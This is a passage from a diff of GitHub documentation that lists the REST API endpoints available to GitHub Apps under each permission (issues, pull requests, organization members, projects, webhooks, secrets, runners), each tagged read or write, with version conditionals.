/repos/:owner/:repo/issues/:issue_number/comments`](/rest/reference/issues#create-an-issue-comment) (write) +- [`PUT /repos/:owner/:repo/issues/:issue_number/lock`](/rest/reference/issues#lock-an-issue) (write) +- [`DELETE /repos/:owner/:repo/issues/:issue_number/lock`](/rest/reference/issues#unlock-an-issue) (write) +- [`GET /repos/:owner/:repo/issues/:issue_number/reactions`](/rest/reference/reactions#list-reactions-for-an-issue) (read) +- [`POST /repos/:owner/:repo/issues/:issue_number/reactions`](/rest/reference/reactions#create-reaction-for-an-issue) (write) +- [`GET /repos/:owner/:repo/issues/:issue_number/timeline`](/rest/reference/issues#list-timeline-events-for-an-issue) (read) +- [`GET /repos/:owner/:repo/issues/comments`](/rest/reference/issues#list-issue-comments-for-a-repository) (read) +- [`GET /repos/:owner/:repo/issues/comments/:comment_id`](/rest/reference/issues#get-an-issue-comment) (read) +- [`PATCH /repos/:owner/:repo/issues/comments/:comment_id`](/rest/reference/issues#update-an-issue-comment) (write) +- [`DELETE /repos/:owner/:repo/issues/comments/:comment_id`](/rest/reference/issues#delete-an-issue-comment) (write) +- [`GET /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#list-reactions-for-an-issue-comment) (read) +- [`POST /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#create-reaction-for-an-issue-comment) (write) + +### Assignees +- [`GET /repos/:owner/:repo/assignees`](/rest/reference/issues#list-assignees) (read) +- [`GET /repos/:owner/:repo/assignees/:username`](/rest/reference/issues#check-if-a-user-can-be-assigned) (read) +- [`POST /repos/:owner/:repo/issues/:issue_number/assignees`](/rest/reference/issues#add-assignees-to-an-issue) (write) +- [`DELETE /repos/:owner/:repo/issues/:issue_number/assignees`](/rest/reference/issues#remove-assignees-from-an-issue) (write) + +### Events +- [`GET /repos/:owner/:repo/issues/:issue_number/events`](/rest/reference/issues#list-issue-events) (read) +- [`GET /repos/:owner/:repo/issues/events/:event_id`](/rest/reference/issues#get-an-issue-event) (read) + +### Labels +- [`GET /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#list-labels-for-an-issue) (read) +- [`POST /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#add-labels-to-an-issue) (write) +- [`PUT /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#set-labels-for-an-issue) (write) +- [`DELETE /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#remove-all-labels-from-an-issue) (write) +- [`DELETE /repos/:owner/:repo/issues/:issue_number/labels/:name`](/rest/reference/issues#remove-a-label-from-an-issue) (write) +- [`GET /repos/:owner/:repo/labels`](/rest/reference/issues#list-labels-for-a-repository) (read) +- [`POST /repos/:owner/:repo/labels`](/rest/reference/issues#create-a-label) (write) +- [`GET /repos/:owner/:repo/labels/:name`](/rest/reference/issues#get-a-label) (read) +- [`PATCH /repos/:owner/:repo/labels/:name`](/rest/reference/issues#update-a-label) (write) +- [`DELETE /repos/:owner/:repo/labels/:name`](/rest/reference/issues#delete-a-label) (write) + +### Milestones +- [`GET /repos/:owner/:repo/milestones`](/rest/reference/issues#list-milestones) (read) +- [`POST /repos/:owner/:repo/milestones`](/rest/reference/issues#create-a-milestone) (write) +- [`GET /repos/:owner/:repo/milestones/:milestone_number`](/rest/reference/issues#get-a-milestone) (read) +- [`PATCH /repos/:owner/:repo/milestones/:milestone_number`](/rest/reference/issues#update-a-milestone) (write) +- [`DELETE /repos/:owner/:repo/milestones/:milestone_number`](/rest/reference/issues#delete-a-milestone) (write) +- [`GET /repos/:owner/:repo/milestones/:milestone_number/labels`](/rest/reference/issues#list-labels-for-issues-in-a-milestone) (read) + +### Reactions +- [`GET /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#list-reactions-for-an-issue-comment) (read) +- [`POST /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#create-reaction-for-an-issue-comment) (write) +- [`GET /repos/:owner/:repo/issues/:issue_number/reactions`](/rest/reference/reactions#list-reactions-for-an-issue) (read) +- [`POST /repos/:owner/:repo/issues/:issue_number/reactions`](/rest/reference/reactions#create-reaction-for-an-issue) (write) +- [`DELETE /reactions/:reaction_id`](/rest/reference/reactions#delete-a-reaction-legacy) (write) +- [`DELETE /repos/:owner/:repo/comments/:comment_id/reactions/:reaction_id`](/rest/reference/reactions#delete-a-commit-comment-reaction) (write) +- [`DELETE /repos/:owner/:repo/issues/:issue_number/reactions/:reaction_id`](/rest/reference/reactions#delete-an-issue-reaction) (write) +- [`DELETE /repos/:owner/:repo/issues/comments/:comment_id/reactions/:reaction_id`](/rest/reference/reactions#delete-an-issue-comment-reaction) (write) +- [`DELETE /repos/:owner/:repo/pulls/comments/:comment_id/reactions/:reaction_id`](/rest/reference/reactions#delete-a-pull-request-comment-reaction) (write) +- [`DELETE /orgs/:org/teams/:team_slug/discussions/:discussion_number/reactions/:reaction_id`](/rest/reference/reactions#delete-team-discussion-reaction) (write) +- [`DELETE /orgs/:org/teams/:team_slug/discussions/:discussion_number/comments/:comment_number/reactions/:reaction_id`](/rest/reference/reactions#delete-team-discussion-comment-reaction) (write) + +## Members + +{% ifversion fpt or ghec -%} +- [`GET /organizations/:org_id/team/:team_id/team-sync/group-mappings`](/rest/reference/teams#list-idp-groups-for-a-team) (write) +{% endif -%} +{% ifversion fpt or ghec -%} +- [`PATCH /organizations/:org_id/team/:team_id/team-sync/group-mappings`](/rest/reference/teams#create-or-update-idp-group-connections) (write) +{% endif -%} +- [`GET /orgs/:org/outside_collaborators`](/rest/reference/orgs#list-outside-collaborators-for-an-organization) (read) +- [`PUT /orgs/:org/outside_collaborators/:username`](/rest/reference/orgs#convert-an-organization-member-to-outside-collaborator) (write) +- [`DELETE /orgs/:org/outside_collaborators/:username`](/rest/reference/orgs#remove-outside-collaborator-from-an-organization) (write) +{% ifversion fpt or ghec -%} +- [`GET /orgs/:org/team-sync/groups`](/rest/teams/team-sync#list-idp-groups-for-an-organization) (write) +{% endif -%} +- [`GET /orgs/:org/team/:team_id`](/rest/teams/teams#get-a-team-by-name) (read) +{% ifversion fpt or ghec -%} +- [`GET /scim/v2/orgs/:org/Users`](/rest/reference/scim#list-scim-provisioned-identities) (write) +{% endif -%} +{% ifversion fpt or ghec -%} +- [`POST /scim/v2/orgs/:org/Users`](/rest/reference/scim#provision-and-invite-a-scim-user) (write) +{% endif -%} +{% ifversion fpt or ghec -%} +- [`GET /scim/v2/orgs/:org/Users/:external_identity_guid`](/rest/reference/scim#get-scim-provisioning-information-for-a-user) (write) +{% endif -%} +{% ifversion fpt or ghec -%} +- [`PUT /scim/v2/orgs/:org/Users/:external_identity_guid`](/rest/reference/scim#set-scim-information-for-a-provisioned-user) (write) +{% endif -%} +{% ifversion fpt or ghec -%} +- [`PATCH /scim/v2/orgs/:org/Users/:external_identity_guid`](/rest/reference/scim#update-an-attribute-for-a-scim-user) (write) +{% endif -%} +{% ifversion fpt or ghec -%} +- [`DELETE /scim/v2/orgs/:org/Users/:external_identity_guid`](/rest/reference/scim#delete-a-scim-user-from-an-organization) (write) +{% endif %} + +{% ifversion fpt or ghec %} +### Invitations +- [`GET /orgs/:org/invitations`](/rest/reference/orgs#list-pending-organization-invitations) (read) +- [`POST /orgs/:org/invitations`](/rest/reference/orgs#create-an-organization-invitation) (write) +- [`GET /orgs/:org/invitations/:invitation_id/teams`](/rest/reference/orgs#list-organization-invitation-teams) (read) +- [`GET /teams/:team_id/invitations`](/rest/reference/teams#list-pending-team-invitations) (read) +{% endif %} + +### Organization members +- [`DELETE /orgs/:org/members/:username`](/rest/reference/orgs#remove-an-organization-member) (write) +- [`GET /orgs/:org/memberships/:username`](/rest/reference/orgs#get-organization-membership-for-a-user) (read) +- [`PUT /orgs/:org/memberships/:username`](/rest/reference/orgs#set-organization-membership-for-a-user) (write) +- [`DELETE /orgs/:org/memberships/:username`](/rest/reference/orgs#remove-organization-membership-for-a-user) (write) +- [`PUT /orgs/:org/public_members/:username`](/rest/reference/orgs#set-public-organization-membership-for-the-authenticated-user) (write) +- [`DELETE /orgs/:org/public_members/:username`](/rest/reference/orgs#remove-public-organization-membership-for-the-authenticated-user) (write) +- [`GET /user/memberships/orgs`](/rest/reference/orgs#list-organization-memberships-for-the-authenticated-user) (read) +- [`GET /user/memberships/orgs/:org`](/rest/reference/orgs#get-an-organization-membership-for-the-authenticated-user) (read) +- [`PATCH /user/memberships/orgs/:org`](/rest/reference/orgs#update-an-organization-membership-for-the-authenticated-user) (write) + +### Team members +- [`GET /teams/:team_id/members`](/rest/reference/teams#list-team-members) (read) +- [`GET /teams/:team_id/memberships/:username`](/rest/reference/teams#get-team-membership-for-a-user) (read) +- [`PUT /teams/:team_id/memberships/:username`](/rest/reference/teams#add-or-update-team-membership-for-a-user) (write) +- [`DELETE /teams/:team_id/memberships/:username`](/rest/reference/teams#remove-team-membership-for-a-user) (write) + +### Teams +- [`GET /orgs/:org/teams`](/rest/reference/teams#list-teams) (read) +- [`POST /orgs/:org/teams`](/rest/reference/teams#create-a-team) (write) +- [`GET /orgs/:org/teams/:team_slug`](/rest/reference/teams#get-a-team-by-name) (read) +- [`PATCH /teams/:team_id`](/rest/reference/teams#update-a-team) (write) +- [`DELETE /teams/:team_id`](/rest/reference/teams#delete-a-team) (write) +- [`GET /teams/:team_id/projects`](/rest/reference/teams#list-team-projects) (read) +- [`GET /teams/:team_id/projects/:project_id`](/rest/reference/teams#check-team-permissions-for-a-project) (read) +- [`PUT /teams/:team_id/projects/:project_id`](/rest/reference/teams#add-or-update-team-project-permissions) (read) +- [`DELETE /teams/:team_id/projects/:project_id`](/rest/reference/teams#remove-a-project-from-a-team) (read) +- [`GET /teams/:team_id/repos`](/rest/reference/teams#list-team-repositories) (read) +- [`GET /teams/:team_id/repos/:owner/:repo`](/rest/reference/teams#check-team-permissions-for-a-repository) (read) +- [`PUT /teams/:team_id/repos/:owner/:repo`](/rest/reference/teams#add-or-update-team-repository-permissions) (read) +- [`DELETE /teams/:team_id/repos/:owner/:repo`](/rest/reference/teams#remove-a-repository-from-a-team) (write) +- [`GET /teams/:team_id/teams`](/rest/reference/teams#list-child-teams) (read) + +## Organization administration + +- [`PATCH /orgs/:org`](/rest/reference/orgs#update-an-organization) (write) +{% ifversion actions-cache-management -%} +- [`GET /orgs/:org/actions/cache/usage`](/rest/reference/actions#get-github-actions-cache-usage-for-an-organization) (read) +- [`GET /orgs/:org/actions/cache/usage-by-repository`](/rest/reference/actions#list-repositories-with-github-actions-cache-usage-for-an-organization) (read) +{% endif -%} +{% ifversion fpt or ghec -%} +- [`GET /orgs/:org/interaction-limits`](/rest/reference/interactions#get-interaction-restrictions-for-an-organization) (read) +{% endif -%} +{% ifversion fpt or ghec -%} +- [`PUT /orgs/:org/interaction-limits`](/rest/reference/interactions#set-interaction-restrictions-for-an-organization) (write) +{% endif -%} +{% ifversion fpt or ghec -%} +- [`DELETE /orgs/:org/interaction-limits`](/rest/reference/interactions#remove-interaction-restrictions-for-an-organization) (write) +{% endif %} + +## Organization events + +- [`GET /users/:username/events/orgs/:org`](/rest/reference/activity#list-organization-events-for-the-authenticated-user) (read) + +{% ifversion ghes %} +## Organization pre-receive hooks + +- [`GET /orgs/:org/pre-receive-hooks`](/enterprise/user/rest/reference/enterprise-admin#list-pre-receive-hooks-for-an-organization) (read) +- [`GET /orgs/:org/pre-receive-hooks/:pre_receive_hook_id`](/enterprise/user/rest/reference/enterprise-admin#get-a-pre-receive-hook-for-an-organization) (read) +- [`PATCH /orgs/:org/pre-receive-hooks/:pre_receive_hook_id`](/enterprise/user/rest/reference/enterprise-admin#update-pre-receive-hook-enforcement-for-an-organization) (write) +- [`DELETE /orgs/:org/pre-receive-hooks/:pre_receive_hook_id`](/enterprise/user/rest/reference/enterprise-admin#remove-pre-receive-hook-enforcement-for-an-organization) (write) +{% endif %} + +## Organization projects + +- [`POST /orgs/:org/projects`](/rest/reference/projects#create-an-organization-project) (write) +- [`GET /projects/:project_id`](/rest/reference/projects#get-a-project) (read) +- [`PATCH /projects/:project_id`](/rest/reference/projects#update-a-project) (write) +- [`DELETE /projects/:project_id`](/rest/reference/projects#delete-a-project) (write) +- [`POST /projects/:project_id/cards`](/rest/reference/projects#create-a-project-card) (write) +- [`GET /projects/:project_id/columns`](/rest/reference/projects#list-project-columns) (read) +- [`POST /projects/:project_id/columns`](/rest/reference/projects#create-a-project-column) (write) +- [`GET /projects/columns/:column_id`](/rest/reference/projects#get-a-project-column) (read) +- [`PATCH /projects/columns/:column_id`](/rest/reference/projects#update-a-project-column) (write) +- [`DELETE /projects/columns/:column_id`](/rest/reference/projects#delete-a-project-column) (write) +- [`GET /projects/columns/:column_id/cards`](/rest/reference/projects#list-project-cards) (read) +- [`POST /projects/columns/:column_id/cards`](/rest/reference/projects#create-a-project-card) (write) +- [`POST /projects/columns/:column_id/moves`](/rest/reference/projects#move-a-project-column) (write) +- [`GET /projects/columns/cards/:card_id`](/rest/reference/projects#get-a-project-card) (read) +- [`PATCH /projects/columns/cards/:card_id`](/rest/reference/projects#update-a-project-card) (write) +- [`DELETE /projects/columns/cards/:card_id`](/rest/reference/projects#delete-a-project-card) (write) +- [`POST /projects/columns/cards/:card_id/moves`](/rest/reference/projects#move-a-project-card) (write) + +{% ifversion fpt or ghec %} +## Organization user blocking + +- [`GET /orgs/:org/blocks`](/rest/reference/orgs#list-users-blocked-by-an-organization) (read) +- [`GET /orgs/:org/blocks/:username`](/rest/reference/orgs#check-if-a-user-is-blocked-by-an-organization) (read) +- [`PUT /orgs/:org/blocks/:username`](/rest/reference/orgs#block-a-user-from-an-organization) (write) +- [`DELETE /orgs/:org/blocks/:username`](/rest/reference/orgs#unblock-a-user-from-an-organization) (write) +{% endif %} + +## Organization webhooks + +- [`GET /orgs/:org/hooks`](/rest/reference/orgs#webhooks/#list-organization-webhooks) (read) +- [`POST /orgs/:org/hooks`](/rest/reference/orgs#webhooks/#create-an-organization-webhook) (write) +- [`GET /orgs/:org/hooks/:hook_id`](/rest/reference/orgs#webhooks/#get-an-organization-webhook) (read) +- [`PATCH /orgs/:org/hooks/:hook_id`](/rest/reference/orgs#webhooks/#update-an-organization-webhook) (write) +- [`DELETE /orgs/:org/hooks/:hook_id`](/rest/reference/orgs#webhooks/#delete-an-organization-webhook) (write) +- [`POST /orgs/:org/hooks/:hook_id/pings`](/rest/reference/orgs#webhooks/#ping-an-organization-webhook) (write) + +### Teams +- [`DELETE /teams/:team_id/projects/:project_id`](/rest/reference/teams#remove-a-project-from-a-team) (read) + +## Pages + +GitHub Pages can only be created or unpublished by a repository owner or administrator. + +- [`GET /repos/:owner/:repo/pages`](/rest/reference/pages#get-a-github-pages-site) (read) +- [`PUT /repos/:owner/:repo/pages`](/rest/reference/pages#update-information-about-a-github-pages-site) (write) +- [`GET /repos/:owner/:repo/pages/builds`](/rest/reference/pages#list-github-pages-builds) (read) +- [`POST /repos/:owner/:repo/pages/builds`](/rest/reference/pages#request-a-github-pages-build) (write) +- [`GET /repos/:owner/:repo/pages/builds/:build_id`](/rest/reference/pages#get-github-pages-build) (read) +- [`GET /repos/:owner/:repo/pages/builds/latest`](/rest/reference/pages#get-latest-pages-build) (read) +{% ifversion fpt or ghec -%} +- [`GET /repos/:owner/:repo/pages/health`](/rest/reference/pages#get-a-dns-health-check-for-github-pages) (write) +- [`POST /repos/:owner/:repo/pages/deployment`](/rest/reference/repos#create-a-github-pages-deployment) (write) +{% endif %} + +## Profile + +- [`PATCH /user`](/rest/reference/users#update-the-authenticated-user) (write) + +## Pull requests + +Pull requests and issues are closely related. If your GitHub App has permissions on pull requests but not on issues, these endpoints will be limited to pull requests. Endpoints that return both pull requests and issues will be filtered. Endpoints that allow operations on both pull requests and issues will be restricted to pull requests. + +- [`PATCH /repos/:owner/:repo/issues/:issue_number`](/rest/reference/issues#update-an-issue) (write) +- [`GET /repos/:owner/:repo/issues/:issue_number/comments`](/rest/reference/issues#list-issue-comments) (read) +- [`POST /repos/:owner/:repo/issues/:issue_number/comments`](/rest/reference/issues#create-an-issue-comment) (write) +- [`PUT /repos/:owner/:repo/issues/:issue_number/lock`](/rest/reference/issues#lock-an-issue) (write) +- [`DELETE /repos/:owner/:repo/issues/:issue_number/lock`](/rest/reference/issues#unlock-an-issue) (write) +- [`GET /repos/:owner/:repo/issues/:issue_number/timeline`](/rest/reference/issues#list-timeline-events-for-an-issue) (read) +- [`GET /repos/:owner/:repo/issues/comments`](/rest/reference/issues#list-issue-comments-for-a-repository) (read) +- [`GET /repos/:owner/:repo/issues/comments/:comment_id`](/rest/reference/issues#get-an-issue-comment) (read) +- [`PATCH /repos/:owner/:repo/issues/comments/:comment_id`](/rest/reference/issues#update-an-issue-comment) (write) +- [`DELETE /repos/:owner/:repo/issues/comments/:comment_id`](/rest/reference/issues#delete-an-issue-comment) (write) +- [`GET /repos/:owner/:repo/pulls`](/rest/reference/pulls#list-pull-requests) (read) +- [`POST /repos/:owner/:repo/pulls`](/rest/reference/pulls#create-a-pull-request) (write) +- [`GET /repos/:owner/:repo/pulls/:pull_number`](/rest/reference/pulls#get-a-pull-request) (read) +- [`PATCH /repos/:owner/:repo/pulls/:pull_number`](/rest/reference/pulls#update-a-pull-request) (write) +- [`GET /repos/:owner/:repo/pulls/:pull_number/comments`](/rest/reference/pulls#list-review-comments-on-a-pull-request) (read) +- [`POST /repos/:owner/:repo/pulls/:pull_number/comments`](/rest/reference/pulls#create-a-review-comment-for-a-pull-request) (write) +- [`GET /repos/:owner/:repo/pulls/:pull_number/commits`](/rest/reference/pulls#list-commits-on-a-pull-request) (read) +- [`GET /repos/:owner/:repo/pulls/:pull_number/files`](/rest/reference/pulls#list-pull-requests-files) (read) +- [`GET /repos/:owner/:repo/pulls/:pull_number/merge`](/rest/reference/pulls#check-if-a-pull-request-has-been-merged) (read) +- [`GET /repos/:owner/:repo/pulls/comments`](/rest/reference/pulls#list-review-comments-in-a-repository) (read) +- [`GET /repos/:owner/:repo/pulls/comments/:comment_id`](/rest/reference/pulls#get-a-review-comment-for-a-pull-request) (read) +- [`PATCH /repos/:owner/:repo/pulls/comments/:comment_id`](/rest/reference/pulls#update-a-review-comment-for-a-pull-request) (write) +- [`DELETE /repos/:owner/:repo/pulls/comments/:comment_id`](/rest/reference/pulls#delete-a-review-comment-for-a-pull-request) (write) + +### Assignees +- [`GET /repos/:owner/:repo/assignees`](/rest/reference/issues#list-assignees) (read) +- [`GET /repos/:owner/:repo/assignees/:username`](/rest/reference/issues#check-if-a-user-can-be-assigned) (read) +- [`POST /repos/:owner/:repo/issues/:issue_number/assignees`](/rest/reference/issues#add-assignees-to-an-issue) (write) +- [`DELETE /repos/:owner/:repo/issues/:issue_number/assignees`](/rest/reference/issues#remove-assignees-from-an-issue) (write) + +### Events +- [`GET /repos/:owner/:repo/issues/:issue_number/events`](/rest/reference/issues#list-issue-events) (read) +- [`GET /repos/:owner/:repo/issues/events/:event_id`](/rest/reference/issues#get-an-issue-event) (read) +- [`POST /repos/:owner/:repo/pulls/:pull_number/reviews/:review_id/events`](/rest/reference/pulls#submit-a-review-for-a-pull-request) (write) + +### Labels +- [`GET /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#list-labels-for-an-issue) (read) +- [`POST /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#add-labels-to-an-issue) (write) +- [`PUT /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#set-labels-for-an-issue) (write) +- [`DELETE /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#remove-all-labels-from-an-issue) (write) +- [`DELETE /repos/:owner/:repo/issues/:issue_number/labels/:name`](/rest/reference/issues#remove-a-label-from-an-issue) (write) +- [`GET /repos/:owner/:repo/labels`](/rest/reference/issues#list-labels-for-a-repository) (read) +- [`POST /repos/:owner/:repo/labels`](/rest/reference/issues#create-a-label) (write) +- [`GET /repos/:owner/:repo/labels/:name`](/rest/reference/issues#get-a-label) (read) +- [`PATCH /repos/:owner/:repo/labels/:name`](/rest/reference/issues#update-a-label) (write) +- [`DELETE /repos/:owner/:repo/labels/:name`](/rest/reference/issues#delete-a-label) (write) + +### Milestones +- [`GET /repos/:owner/:repo/milestones`](/rest/reference/issues#list-milestones) (read) +- [`POST /repos/:owner/:repo/milestones`](/rest/reference/issues#create-a-milestone) (write) +- [`GET /repos/:owner/:repo/milestones/:milestone_number`](/rest/reference/issues#get-a-milestone) (read) +- [`PATCH /repos/:owner/:repo/milestones/:milestone_number`](/rest/reference/issues#update-a-milestone) (write) +- [`DELETE /repos/:owner/:repo/milestones/:milestone_number`](/rest/reference/issues#delete-a-milestone) (write) +- [`GET /repos/:owner/:repo/milestones/:milestone_number/labels`](/rest/reference/issues#list-labels-for-issues-in-a-milestone) (read) + +### Reactions +- [`POST /repos/:owner/:repo/issues/:issue_number/reactions`](/rest/reference/reactions#create-reaction-for-an-issue) (write) +- [`GET /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#list-reactions-for-an-issue-comment) (read) +- [`POST /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#create-reaction-for-an-issue-comment) (write) +- [`GET /repos/:owner/:repo/pulls/comments/:comment_id/reactions`](/rest/reference/reactions#list-reactions-for-a-pull-request-review-comment) (read) +- [`POST /repos/:owner/:repo/pulls/comments/:comment_id/reactions`](/rest/reference/reactions#create-reaction-for-a-pull-request-review-comment) (write) +- [`DELETE /reactions/:reaction_id`](/rest/reference/reactions#delete-a-reaction-legacy) (write) +- [`DELETE /repos/:owner/:repo/comments/:comment_id/reactions/:reaction_id`](/rest/reference/reactions#delete-a-commit-comment-reaction) (write) +- [`DELETE /repos/:owner/:repo/issues/:issue_number/reactions/:reaction_id`](/rest/reference/reactions#delete-an-issue-reaction) (write) +- [`DELETE /repos/:owner/:repo/issues/comments/:comment_id/reactions/:reaction_id`](/rest/reference/reactions#delete-an-issue-comment-reaction) (write) +- [`DELETE /repos/:owner/:repo/pulls/comments/:comment_id/reactions/:reaction_id`](/rest/reference/reactions#delete-a-pull-request-comment-reaction) (write) +- [`DELETE /orgs/:org/teams/:team_slug/discussions/:discussion_number/reactions/:reaction_id`](/rest/reference/reactions#delete-team-discussion-reaction) (write) +- [`DELETE /orgs/:org/teams/:team_slug/discussions/:discussion_number/comments/:comment_number/reactions/:reaction_id`](/rest/reference/reactions#delete-team-discussion-comment-reaction) (write) + +### Requested reviewers +- [`GET /repos/:owner/:repo/pulls/:pull_number/requested_reviewers`](/rest/reference/pulls#list-requested-reviewers-for-a-pull-request) (read) +- [`POST /repos/:owner/:repo/pulls/:pull_number/requested_reviewers`](/rest/reference/pulls#request-reviewers-for-a-pull-request) (write) +- [`DELETE /repos/:owner/:repo/pulls/:pull_number/requested_reviewers`](/rest/reference/pulls#remove-requested-reviewers-from-a-pull-request) (write) + +### Reviews +- [`GET /repos/:owner/:repo/pulls/:pull_number/reviews`](/rest/reference/pulls#list-reviews-for-a-pull-request) (read) +- [`POST /repos/:owner/:repo/pulls/:pull_number/reviews`](/rest/reference/pulls#create-a-review-for-a-pull-request) (write) +- [`GET /repos/:owner/:repo/pulls/:pull_number/reviews/:review_id`](/rest/reference/pulls#get-a-review-for-a-pull-request) (read) +- [`PUT /repos/:owner/:repo/pulls/:pull_number/reviews/:review_id`](/rest/reference/pulls#update-a-review-for-a-pull-request) (write) +- [`DELETE /repos/:owner/:repo/pulls/:pull_number/reviews/:review_id`](/rest/reference/pulls#delete-a-pending-review-for-a-pull-request) (write) +- [`GET /repos/:owner/:repo/pulls/:pull_number/reviews/:review_id/comments`](/rest/reference/pulls#list-comments-for-a-pull-request-review) (read) +- [`PUT /repos/:owner/:repo/pulls/:pull_number/reviews/:review_id/dismissals`](/rest/reference/pulls#dismiss-a-review-for-a-pull-request) (write) + +{% ifversion ghes %} +## Repository pre-receive hooks + +- [`GET /repos/:owner/:repo/pre-receive-hooks`](/enterprise/user/rest/reference/enterprise-admin#list-pre-receive-hooks-for-a-repository) (read) +- [`GET /repos/:owner/:repo/pre-receive-hooks/:pre_receive_hook_id`](/enterprise/user/rest/reference/enterprise-admin#get-a-pre-receive-hook-for-a-repository) (read) +- [`PATCH /repos/:owner/:repo/pre-receive-hooks/:pre_receive_hook_id`](/enterprise/user/rest/reference/enterprise-admin#update-pre-receive-hook-enforcement-for-a-repository) (write) +- [`DELETE /repos/:owner/:repo/pre-receive-hooks/:pre_receive_hook_id`](/enterprise/user/rest/reference/enterprise-admin#remove-pre-receive-hook-enforcement-for-a-repository) (write) +{% endif %} + +## Repository projects + +- [`GET /projects/:project_id`](/rest/reference/projects#get-a-project) (read) +- [`PATCH /projects/:project_id`](/rest/reference/projects#update-a-project) (write) +- [`DELETE /projects/:project_id`](/rest/reference/projects#delete-a-project) (write) +- [`POST /projects/:project_id/cards`](/rest/reference/projects#create-a-project-card) (write) +- [`GET /projects/:project_id/columns`](/rest/reference/projects#list-project-columns) (read) +- [`POST /projects/:project_id/columns`](/rest/reference/projects#create-a-project-column) (write) +- [`GET /projects/columns/:column_id`](/rest/reference/projects#get-a-project-column) (read) +- [`PATCH /projects/columns/:column_id`](/rest/reference/projects#update-a-project-column) (write) +- [`DELETE /projects/columns/:column_id`](/rest/reference/projects#delete-a-project-column) (write) +- [`GET /projects/columns/:column_id/cards`](/rest/reference/projects#list-project-cards) (read) +- [`POST /projects/columns/:column_id/cards`](/rest/reference/projects#create-a-project-card) (write) +- [`POST /projects/columns/:column_id/moves`](/rest/reference/projects#move-a-project-column) (write) +- [`GET /projects/columns/cards/:card_id`](/rest/reference/projects#get-a-project-card) (read) +- [`PATCH /projects/columns/cards/:card_id`](/rest/reference/projects#update-a-project-card) (write) +- [`DELETE /projects/columns/cards/:card_id`](/rest/reference/projects#delete-a-project-card) (write) +- [`POST /projects/columns/cards/:card_id/moves`](/rest/reference/projects#move-a-project-card) (write) +- [`GET /repos/:owner/:repo/projects`](/rest/reference/projects#list-repository-projects) (read) +- [`POST /repos/:owner/:repo/projects`](/rest/reference/projects#create-a-repository-project) (write) + +### Teams +- [`DELETE /teams/:team_id/projects/:project_id`](/rest/reference/teams#remove-a-project-from-a-team) (read) + +## Repository webhooks + +- [`GET /repos/:owner/:repo/hooks`](/rest/reference/webhooks#list-repository-webhooks) (read) +- [`POST /repos/:owner/:repo/hooks`](/rest/reference/webhooks#create-a-repository-webhook) (write) +- [`GET /repos/:owner/:repo/hooks/:hook_id`](/rest/reference/webhooks#get-a-repository-webhook) (read) +- [`PATCH /repos/:owner/:repo/hooks/:hook_id`](/rest/reference/webhooks#update-a-repository-webhook) (write) +- [`DELETE /repos/:owner/:repo/hooks/:hook_id`](/rest/reference/webhooks#delete-a-repository-webhook) (write) +- [`POST /repos/:owner/:repo/hooks/:hook_id/pings`](/rest/reference/webhooks#ping-a-repository-webhook) (read) +- [`POST /repos/:owner/:repo/hooks/:hook_id/tests`](/rest/reference/repos#test-the-push-repository-webhook) (read) + +{% ifversion fpt or ghec %} +## Secrets + +- [`GET /repos/:owner/:repo/actions/secrets/public-key`](/rest/reference/actions#get-a-repository-public-key) (read) +- [`GET /repos/:owner/:repo/actions/secrets`](/rest/reference/actions#list-repository-secrets) (read) +- [`GET /repos/:owner/:repo/actions/secrets/:secret_name`](/rest/reference/actions#get-a-repository-secret) (read) +- [`PUT /repos/:owner/:repo/actions/secrets/:secret_name`](/rest/reference/actions#create-or-update-a-repository-secret) (write) +- [`DELETE /repos/:owner/:repo/actions/secrets/:secret_name`](/rest/reference/actions#delete-a-repository-secret) (write) +- [`GET /orgs/:org/actions/secrets/public-key`](/rest/reference/actions#get-an-organization-public-key) (read) +- [`GET /orgs/:org/actions/secrets`](/rest/reference/actions#list-organization-secrets) (read) +- [`GET /orgs/:org/actions/secrets/:secret_name`](/rest/reference/actions#get-an-organization-secret) (read) +- [`PUT /orgs/:org/actions/secrets/:secret_name`](/rest/reference/actions#create-or-update-an-organization-secret) (write) +- [`GET /orgs/:org/actions/secrets/:secret_name/repositories`](/rest/reference/actions#list-selected-repositories-for-an-organization-secret) (read) +- [`PUT /orgs/:org/actions/secrets/:secret_name/repositories`](/rest/reference/actions#set-selected-repositories-for-an-organization-secret) (write) +- [`PUT /orgs/:org/actions/secrets/:secret_name/repositories/:repository_id`](/rest/reference/actions#add-selected-repository-to-an-organization-secret) (write) +- [`DELETE /orgs/:org/actions/secrets/:secret_name/repositories/:repository_id`](/rest/reference/actions#remove-selected-repository-from-an-organization-secret) (write) +- [`DELETE /orgs/:org/actions/secrets/:secret_name`](/rest/reference/actions#delete-an-organization-secret) (write) +{% endif %} + +{% ifversion ghes or ghec %} +## Secret scanning alerts + +- [`GET /repos/:owner/:repo/secret-scanning/alerts`](/rest/reference/secret-scanning#list-secret-scanning-alerts-for-a-repository) (read) +- [`GET /repos/:owner/:repo/secret-scanning/alerts/:alert_number`](/rest/reference/secret-scanning#get-a-secret-scanning-alert) (read) +- [`PATCH /repos/:owner/:repo/secret-scanning/alerts/:alert_number`](/rest/reference/secret-scanning#update-a-secret-scanning-alert) (write) +- [`GET /repos/:owner/:repo/secret-scanning/alerts/:alert_number/locations`](/rest/reference/secret-scanning#list-locations-for-a-secret-scanning-alert) (read) +{% endif %} + +{% ifversion fpt or ghes or ghec %} +## Self-hosted runners + +- [`GET /orgs/:org/actions/runners/downloads`](/rest/reference/actions#list-runner-applications-for-an-organization) (read) +- [`POST /orgs/:org/actions/runners/registration-token`](/rest/reference/actions#create-a-registration-token-for-an-organization) (write) +- [`GET /orgs/:org/actions/runners`](/rest/reference/actions#list-self-hosted-runners-for-an-organization) (read) +- [`GET 